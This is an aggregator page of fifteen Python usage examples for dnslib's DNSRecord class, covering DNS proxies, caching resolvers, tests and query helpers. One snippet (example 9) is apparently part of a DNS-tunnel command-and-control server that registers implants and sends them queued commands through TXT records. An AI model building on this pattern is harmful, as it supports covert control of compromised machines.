本文整理汇总了Python中dnslib.DNSRecord类的典型用法代码示例。如果您正苦于以下问题:Python DNSRecord类的具体用法?Python DNSRecord怎么用?Python DNSRecord使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了DNSRecord类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: get_reply
def get_reply(self,data):
global dns_cache
global args
host,port = self.server.resolver.address,self.server.resolver.port
request = DNSRecord.parse(data)
domain=str(request.q.qname)
if domain in dns_cache:
if time.time()<dns_cache[domain][0]:
if args is not None and args.verbose:
display("[i] domain %s served from cache"%domain)
rep=request.reply()
rep.add_answer(*dns_cache[domain][1])
return rep.pack()
if args is not None and args.verbose:
display("[i] domain %s requested using TCP server %s"%(domain, args.dns_server))
data = struct.pack("!H",len(data)) + data
response = send_tcp(data,host,port)
response = response[2:]
reply = DNSRecord.parse(response)
#print(repr(reply))
ttl=3600
try:
ttl=reply.rr[0].ttl
except Exception:
try:
ttl=reply.rr.ttl
except Exception:
pass
dns_cache[domain]=(int(time.time())+ttl, reply.rr)
if len(dns_cache)>DNS_CACHE_SIZE:
dns_cache.popitem(last=False)
return response
示例2: test_dns
def test_dns():
server = SocketServer.UDPServer(('', 0), dns.DNSHandler)
server.cfg = ModuleConfig('dns.conf').cfg
thread.start_new_thread(server.serve_forever, ())
resp = DNSRecord(q=DNSQuestion("google.com")).send(
"127.0.0.1", port=server.socket.getsockname()[1])
assert str(resp.get_a().rdata) == socket.gethostbyname(socket.gethostname())
示例3: query
def query(self, qname, qtype="A", qclass="IN"):
qtype = QTYPE.reverse[qtype]
qclass = CLASS.reverse[qclass]
q = DNSRecord(q=DNSQuestion(qname, qtype, qclass))
self.fire(write((self.server, self.port), q.pack()))
示例4: getRecord
def getRecord(host, query):
d = DNSRecord.question(query, "A")
check, responce = queryNode(d.pack(), (host, 53))
try:
record = DNSRecord.parse(responce)
return record
except DNSError, e:
return False
示例5: _reply
def _reply(self, rec, addr=None):
reply = DNSRecord(DNSHeader(id=rec.header.id, qr=1, aa=1, ra=1), q=rec.q)
if addr:
qtype = QTYPE.A if QTYPE.A == rec.q.qtype else QTYPE.AAAA
reply.add_answer(RR(rec.q.qname, qtype, rdata=A(addr)))
rep = reply.pack()
return rep
示例6: send_req_to_server
def send_req_to_server(server_addr, name):
client_req = DNSRecord(DNSHeader(id=ID), q=DNSQuestion(name, getattr(QTYPE, "A")))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((server_addr, 53))
s.send(client_req.pack())
resp = s.recv(2048)
dns_resp = DNSRecord.parse(resp)
logging.warning("Got answer from server {}".format(dns_resp))
示例7: _reply
def _reply(self, rec, addrs=None):
reply = DNSRecord(DNSHeader(id=rec.header.id, qr=1, aa=1, ra=1), q=rec.q)
if addrs:
if not isinstance(addrs, list):
addrs = [addrs]
for addr in addrs:
reply.add_answer(RR(rec.q.qname, QTYPE.A, rdata=A(addr)))
return reply.pack()
示例8: handle_dns_packet
def handle_dns_packet(self, query: DNSRecord, answer: DNSRecord):
if self.domain and query.q.qname.matchSuffix(self.domain):
if query.q.qtype in (QTYPE.A, QTYPE.ANY):
dnsname = query.q.qname.stripSuffix(self.domain)
ipaddr = self.get_hostname_ip(dnsname.label[-1])
if ipaddr:
answer.add_answer(
RR(rname=query.q.qname, rtype=QTYPE.A, ttl=3600, rdata=RDMAP["A"](inet_ntoa(ipaddr)))
)
return self
示例9: read_query_txt
def read_query_txt(self, request):
qname = request.q.qname
id = request.header.id
if qname.label[0] == 'NEW':
sys.stdout.flush()
print '\n[+] New implant! IMPLANT-ID %s' % str(id)
str1 = ''.join(qname.label[1:-3])
plop = str1.decode('hex')
implant_info[str(id)] = plop.split('\n')
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(str(id))))
implant_id.append(str(id))
self.send_data(reponse)
if qname.label[0] in implant_id:
if qname.label[1] == 'TOPO':
now = datetime.datetime.now()
localtime= now.strftime("%Y-%m-%d %H:%M")
implant_info[qname.label[0]][4] = localtime
if command.get(qname.label[0]):
#print "[+] Implant %s poll, commandes pretes, au travail petit hippo!!" % str(qname.label[0])
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(command.get(qname.label[0]))))
self.send_data(reponse)
del command[qname.label[0]]
else:
#print "[+] Implant %s poll , aucunes commandes, fait dodo petit hippo" % str(qname.label[0])
reponse = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q)
reponse.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(dodo)))
self.send_data(reponse)
pass
示例10: cache
def cache(self, request, server):
v6enable = server[1][0].find('.') == -1
tcpenable = server[1][0] == '8.8.4.4'
proxy_r = request.send(server[1][0],server[1][1],tcp=tcpenable,timeout=self.timeout,ipv6=v6enable)
reply = DNSRecord.parse(proxy_r)
save_cache(server, str(request.q.qname)[:-1], reply)
return reply
示例11: resolve
def resolve(self,request,handler):
reply = request.reply()
qname = request.q.qname
qtype = QTYPE[request.q.qtype]
# Try to resolve locally unless on skip list
if not any([qname.matchGlob(s) for s in self.skip]):
for name,rtype,rr in self.zone:
if qname.matchGlob(name) and (qtype in (rtype,'ANY','CNAME')):
a = copy.copy(rr)
a.rname = qname
reply.add_answer(a)
# Check for NXDOMAIN
if any([qname.matchGlob(s) for s in self.nxdomain]):
reply.header.rcode = getattr(RCODE,'NXDOMAIN')
return reply
# Otherwise proxy
if not reply.rr:
try:
if handler.protocol == 'udp':
proxy_r = request.send(self.address,self.port,
timeout=self.timeout)
else:
proxy_r = request.send(self.address,self.port,
tcp=True,timeout=self.timeout)
reply = DNSRecord.parse(proxy_r)
except socket.timeout:
reply.header.rcode = getattr(RCODE,'NXDOMAIN')
return reply
示例12: switched_to
def switched_to(self, environment):
rtype, current_val = self.current_value
wanted_val = self.environments[environment]
if set(current_val) != set(wanted_val):
raise BespinError(
"The current value in ultradns is different than the specified value for this environment",
environment=environment,
ultradns_has=current_val,
specified=wanted_val,
)
log.info("Seeing if %s has switched to %s(%s)", self.domain, environment, current_val)
if rtype == "A":
info = socket.getaddrinfo(self.domain, 80)
found = [sockaddr[0] for _, _, _, _, sockaddr in info]
if set(found) == set(current_val):
return True
else:
log.info("Current value is %s", list(set(found)))
if rtype == "CNAME":
answer = DNSRecord.parse(DNSRecord(q=DNSQuestion(self.domain, QTYPE.CNAME)).send("8.8.8.8", 53)).short()
if not answer:
raise BespinError("couldn't resolve the domain", domain=self.domain)
if answer == current_val[0]:
return True
else:
log.info("Current value is %s", answer)
return False
示例13: resolve
def resolve(self, request, handler):
try:
proxy_r = request.send(self.address, self.port, tcp=True)
except socket.error:
return DNSRecord()
reply = DNSRecord.parse(proxy_r)
return reply
示例14: resolve
def resolve(self,request,handler):
if handler.protocol == 'udp':
proxy_r = request.send(self.address,self.port)
else:
proxy_r = request.send(self.address,self.port,tcp=True)
reply = DNSRecord.parse(proxy_r)
return reply
示例15: query_server
def query_server(server, packet, results, errors):
'Query a DNS server'
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server)
s.send(packet) # Forward the request to the nameserver
# Q: Why would we ever get this big of a packet in return?
# A: Because with IPv6, it's technically feasible
response, addr = s.recvfrom(65535)
try:
data = DNSRecord.parse(response) # Parse the response
except Exception:
return # For some reason the packet was bad
error = data.header.get_rcode()
if error:
errors.append(error) # There was an error with the request
return
try:
qtype = data.q.qtype
answers = [i.rdata for i in data.rr if i.rtype == qtype]
results.append(answers[0]) # Just add the first acceptable answer
except IndexError:
errors.append(3)